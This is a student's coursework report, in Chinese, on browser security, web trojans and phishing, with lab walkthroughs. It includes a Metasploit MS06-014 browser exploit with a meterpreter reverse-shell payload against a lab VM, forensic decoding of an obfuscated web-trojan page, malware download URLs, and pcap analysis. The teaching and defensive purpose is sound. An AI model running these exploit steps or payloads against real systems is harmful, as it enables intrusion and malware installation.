20199104 2019-2020-2 《网络攻防实践》第12周作业
20199104 2019-2020-2 《网络攻防实践》第12周作业
1.实践内容
1.1 Web浏览器的技术发展与安全威胁
1.1.1 Web浏览器战争与技术发展
- 现代Web浏览器的基本结构与机理:现代Web浏览器指的是能够符合“现行标准”,并被互联网用户所接受使用的Web浏览器软件。现代浏览器的基本结构如图所示,需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript.FlashActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。现代Web浏览器还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的富Internet应用( RIA: Rich Internet Application)。
1.1.2 Web浏览的安全问题与威胁
-
web浏览器软件的安全困境三要素:
-
复杂性:现代Web浏览器软件由于需要支持HTTP、HTTPS、 FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、 SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。现代浏览器的复杂性已经通过源代码行数得到了验证。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
-
可扩展性:现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。此外,浏览器插件一般也不具备自动版本更新的机制,安全漏洞被利用的时间周期较系统软件与浏览器软件本身漏洞要长。恶意客户端脚本代码也是现代浏览器由于可扩展性所面临的主要安全威胁,攻击者可以在网站中链接恶意的JavaScript脚本代码,或者恶意Flash文件,当浏览器软件装载这些恶意客户端脚本代码,将会在浏览器端进行执行,从而被渗透攻击与利用。
-
连通性:现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
-
-
Web浏览安全威胁位置
-
针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁,如网络监听与协议栈攻防技术。
-
针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。如渗透攻击和恶意代码攻防技术。
-
针对Web浏览器软件及插件程序的渗透攻击威胁:对客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序,窃取隐私信息并以此牟取非法利益。
-
针对互联网用户的社会工程学攻击威胁:实施社会工程学攻击,来尝试骗取互联网用户的敏感个人隐私信息,如网络钓鱼攻击。
-
1.2 Web浏览器的渗透攻击威胁-网页木马
-
网页木马的产生与发展背景:网页木马是从恶意网页脚本所孕育和发展出来的。黑客们开始利用这种可以在客户端执行脚本代码的机会,通过编写一些恶意的网页脚本,来对Web浏览器及客户端计算机实施攻击,如早期的浏览器主页劫持、网页炸弹等。而黑客们进一步发掘出在浏览端执行的恶意网页脚本能够利用客户端软件安全漏洞来获取得到访问权的机会,在浏览端植入恶意程序或进行其它任意操作,从而发展出网页木马这种较新的网络攻击技术。
-
网页木马的定义特性:网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。通常以网页脚本语言如JavaScript、 VBScirpt 实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。简单的来说,网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的程序下载到访问者的电脑上来自动执行。
-
对网页木马机理的全方位分析与理解:网页木马就是一个网页,甚至于制作者会使这个特殊网页与其他一般的网页别无他样,但在这个网页运行与本地时,它所执行的操作就不仅仅是下载后再读出,伴随着前者的操作背后,为了进行进一步的主机控制和敏感信息窃取,还有这病毒原体软件的下载,或是木马的下载,然后执行,悄悄地修改你的注册表。网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。
-
网页木马难以应对的原因:
- 多样化的客户端渗透攻击位置和技术类型:网页木马攻击网络中,攻击者往往集成了多样化的客户端渗透攻击代码,攻击的软件类型与位置,所利用的安全漏洞类型也可能各不相同。
- 分布式、复杂的微观链接结构:攻击者往往采用多个木马宿主站点来放置网页木马和盗号木马,并将它们挂接至大量的前端网页中,此外还引入了一些中间跳转站点来提升防御方的分析和应对代价,因此,整个网页木马攻击网络往往会呈现出跨越万维网上大量节点的分布式、复杂的微观链接结构,这给全面有效地分析和处置网页木马安全威胁带来了很大的难度。
- 灵活多变的混淆与对抗分析能力:攻击者为了躲避反病毒引擎对网页木马的检测,充分利用了Web客户端脚本语言的这些灵活机制,来对网页木马进行混淆处理,并提升它们的对抗分析能力,
-
网页木马的本质核心——浏览器渗透攻击:网页木马的本质核心是利用Web浏览端软件安全漏洞的渗透攻击代码。可以分为不安全方法类安全漏洞、利用堆内存操纵技术。
-
网页挂马机制:在编写完成网页木马渗透攻击之后,为使得能够有终端用户使用可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站页面上,这一过程就是网页挂马。网页挂马机制主要的四类策略:
- 内嵌HTML标签:使用内嵌HTML标签,将网页木马链接嵌入到网站首页或其他页面中
- 恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马
- 内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载
- ARP欺骗挂马:利用ARP中间人攻击,劫持所有目标网站出入的网络流量,并在目标网站的HTML反馈包中注入恶意脚本,将网络访问流量连接至网页木马的挂马站点
-
混淆机制
-
将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述能力,从而干扰阅读分析
-
通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
-
通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document.write()或eval()进行动态输出或执行
-
利用字符串运算、数字运算或特殊函数可以混淆代码
-
修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分之多个文件等
-
-
网页木马的检测与分析技术
- 基于特征码匹配的传统检测方法:在网页木马作为一种新形态的恶意代码产生后,反病毒软件公司仍延用恶意脚本代码静态分析过程来提取其中具有样本特异性的特征码,然后在线更新至反病毒客户端软件中,灵活多变的混淆机制以及分布式复杂的链接结构使得其失效。
- 基于统计与机器学习的静态分析方法:包括基于判断矩阵法的网页恶意脚本检测方法、基于静态启发式规则的检测方法、基于多异常语义特征加权的恶意网页检测方法以及基于分类算法的混淆恶意脚本检测方法等,针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,但仍停留在外在形态层次上。
- 基于动态行为结果判定的检测分析方法:利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型Web访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马
- 基于模拟浏览器环境的动态分析检测方法:以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,进行脚本解释,还原真实状态,分析检测。
网页木马检测分析技术综合对比
-
网页木马防范措施
- 采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制
- 安装反病毒软件,同时养成安全上网浏览的好习惯,借助站点安全评估工具的帮助
- 安装Mac OS/Linux操作系统,并使用冷门浏览器上网
1.3 网络钓鱼技术
-
网络钓鱼是社会工程学在互联网中广泛实施的一种典型的攻击方式,通过发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PIN码或信用卡详细信息等)
-
网络钓鱼攻击的普遍技术流程:
- 攻击者扫描网段,寻找存有漏洞的服务器
- 服务器被攻陷,并安装一个Rootkit或口令保护的后门工具
- 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行
- 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
- 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息
-
网络钓鱼攻击技术策略:
-
在指向假冒网站的链接中使用IP地址代替域名
-
注册发音相近或形似的DNS域名,并在上面架设假冒网站,期望用户不会发现他们之间的差异
-
在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站浏览器大多数HTTP连接是指向真实的目标网站,而仅有少数的关键连接(如提交敏感信息的页面)指向假冒的网站。如果用户的电子邮件客户端软件支持HTML内容的自动获取, 那么会在电子邮件被读取的时候自动地连接假冒网站,用户在浏览时也不会注意到少量的与恶意服务器的连接
-
对假冒网站的URL进行编码和混淆。IDN欺骗技术(IDN Spoofing) 就是这样的一种技术,它使用Unicode编码的URL在浏览器的地址栏里呈现的看起来像是真实的网站地址,但实际上却指向一个完全不同的地址
-
企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质。
-
将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站
-
架设一个假冒网站,记录的口令信息。
-
通过恶意代码在受害者计算机上安装一个恶意游览器组手(Browser Helper Object),然后由其将受害者重定向到假冒的钓鱼网站
-
使用恶意代码去修改受害者计算机上的hosts文件,这将使得他们的网页浏览器在看起来像是访问目标机构的合法网站
-
-
网络钓鱼攻击的防范:
- 针对网络钓鱼过程中的电子邮件和即时通信信息欺诈,应该提高警惕性,不轻易打开电子邮件的链接。
- 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性
- 输入域名来访问,尽量使用硬件U盾来代替软证书或口令访问重要的金融网站
- 通过学习和修炼提升自己抵抗社会工程学攻击的能力
2.实践过程
2.1 动手实践一Web浏览器渗透攻击实验
-
攻击机使用kali,ip为
192.168.200.2
-
被攻击机是winserver2k,ip为
192.168.200.124
-
在攻击机打开
msfconsole
,输入search MS06-014
,搜索MS06-014渗透攻击模块,发现只有一个可用的攻击模块,使用的模块的use exploit/windows/browser/ie_createobject
,使用show options
查看参数,SRVHOST
百度后发现应该就是LHOST
,设置恶意服务器地址set LHOST 192.168.200.2
,设置载荷set payloads windows/meterpreter/reverse_tcp
输入run
运行,可以看到恶意服务器地址http://192.168.200.2:8080/jzfN5Ir3sf
,使用winserver2k访问http://192.168.200.2:8080/jzfN5Ir3sf
,看到攻击成功
- 输入
sessions
查看有几个会话,使用命令sessions -i 1
选择会话1,输入ipconfig
验证
2.2 取证分析实践——剖析一个实际的网页木马攻击场景
-
题目:一个研究组发现了一个域名为 18dd.net 的挂马网站。在链接分析的过程中, 发现有大量恶意网页最终都重定向到了这个网站上。
- 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
- 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
- 从解密后的结果来看,攻击者利用了那些系统漏洞?
- 解密后发现了多少个可执行文件?其作用是什么?
- 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
-
没有找到start.html文件和其他的html文件,跳过第一问
-
打开
7f60672dcd6b5e90b6772545ee219bd3
文件,可以看到Base64编码, xxtea加密,加密秘钥\x73\x63\x72\x69\x70\x74
,使用16进制转换为script
- 通过http://cycy.sourceforge.net/xxtea/进行解密,将其转16进制,之后再转为文本
-
分析这段代码,可以看到它利用了应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。
-
检验bs.exe是否加壳
-
然后使用W32Dasm工具进行反编译,查看字符串信息,可以看到这个程序可能会生成自动运行的文件
shell\Auto\command=
,也会看到程序可能要下木马要下载一大堆木马,因为有如http://down.18dd.net/kl/19.exe
-
由"瑞星卡卡上网安全助手 - IE防漏墙","允许","允许执行",可知这个程序有一定的防系统保护软件的能力。
-
对6.exe脱壳,打开,我们可以看到一堆字符串,推测进行了修改注册表之类的操作(如RegCloseKey,释放指定注册键的句柄。)
-
使用火绒看到这些全被列为病毒
-
使用Total Uninstall监控运行情况,可以发现这个程序做了以下几件事,删除了当前程序,下载了20个木马文件。修改了注册表。
2.3 Web浏览器渗透攻击对抗实验
-
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
-
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
-
对实践一中MS06-014漏洞进行攻击,下载访问的链接的网页,然后打开分析,发现该网页为了防止被杀毒软件查杀,使用了空白和间隔。
- 可以看到调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件zgfrib.exe;猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,打开靶机任务管理器查看正在运行的程序,果然发现了在网页源码中出现的那个可执行文件,这个应该是帮助攻击机获取靶机控制权限的恶意程序
- 搜索重复出现的数组得到漏洞
2.4 Web浏览器遭遇攻击、取证分析
任务:通过分析给的网络记录文件,回答下列问题:
-
列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
-
列出IP地址、主机名、域名,猜测攻击场景的环境配置。
-
列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
-
请给出攻击者执行攻击动作的概要描述。
-
攻击者引入了哪些技巧带来了困难。
-
攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
-
shellcode执行了哪些操作?比较他们之间MD5的差异?
-
在攻击场景中有二进制可执行代码参与吗?目的是什么?
-
针对哪个或哪些协议的使用chaosreader读取这个文件
chaosreader ./suspicious-time.pcap
推断出可能是HTTP攻击。
- 输入
for i in session_00[0-9]*.http.html; do srcip=
cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1; dstip=
cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1; host=
cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'; echo "$srcip --> $dstip = $host"; done | sort
选取之前生成的.http.html文件读取,筛选主机并列出来。通过图片和英文名字可以推断,rapidshare.com.eyu32.ru (伪造了一个知名品牌,攻击者可能会利用它对用户进行网上钓鱼)对应192.168.56.50
,sploitme.com.cn(可能是恶意网站)对应192.168.56.52
,shop.honeynet.sg(购物网站的服务器)对应192.168.56.51
。剩下的谷歌网站均为正常。被攻击者为:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15
。
-
使用命令
tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u
筛选出 NBNS 协议,网络基本输入/输出系统 (NetBIOS) 名称服务器 (NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法.
-
使用命令
tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u
,看到这四个不同 ip 地址的主机分别映射的主机名是相同的。
-
攻击场景的环境配置情况推断攻击场景的环境应该是在 VM 环境中,具有四个网卡。
-
哪些页面包含了可疑的、可能是恶意的JavaScript 脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?打开
session_0006.part_01.html
发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php
.那我们找sploitme.com.cn
,发现404 NotFound了,这个对应文件session_0007.part_02.html
。下面找shop.honeynet.sg/catalog/
,对应文件session_0032.part_01.html
。
- 请给出攻击者执行攻击动作的概要描述。攻击者将恶意javascript代码注入指向sploitme.com.cn/?click=X的隐藏iframe。
当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302 FOUND标头重定向到伪造的404页面。下载了Windows可执行文件(PE)。将可执行文件连接到honeynet.org
-
引入了哪些技巧带来了困难,恶意页面伪装成404页面。
-
目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?攻击目标是微软Windows操作系统和其他微软软件,如Internet Explorer
- 在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?有恶意软件的参与,可以看到下载恶意软件的可执行文件并在本地执行,恶意软件通过Internet Explorer加载www.honeynet.org。
3.学习中遇到的问题及解决
- 问题1:不知道怎么获取shellcode的MD5值。
- 问题2:不会分析有哪些漏洞,不知道怎么看
- 问题3:实践所给的网页找不到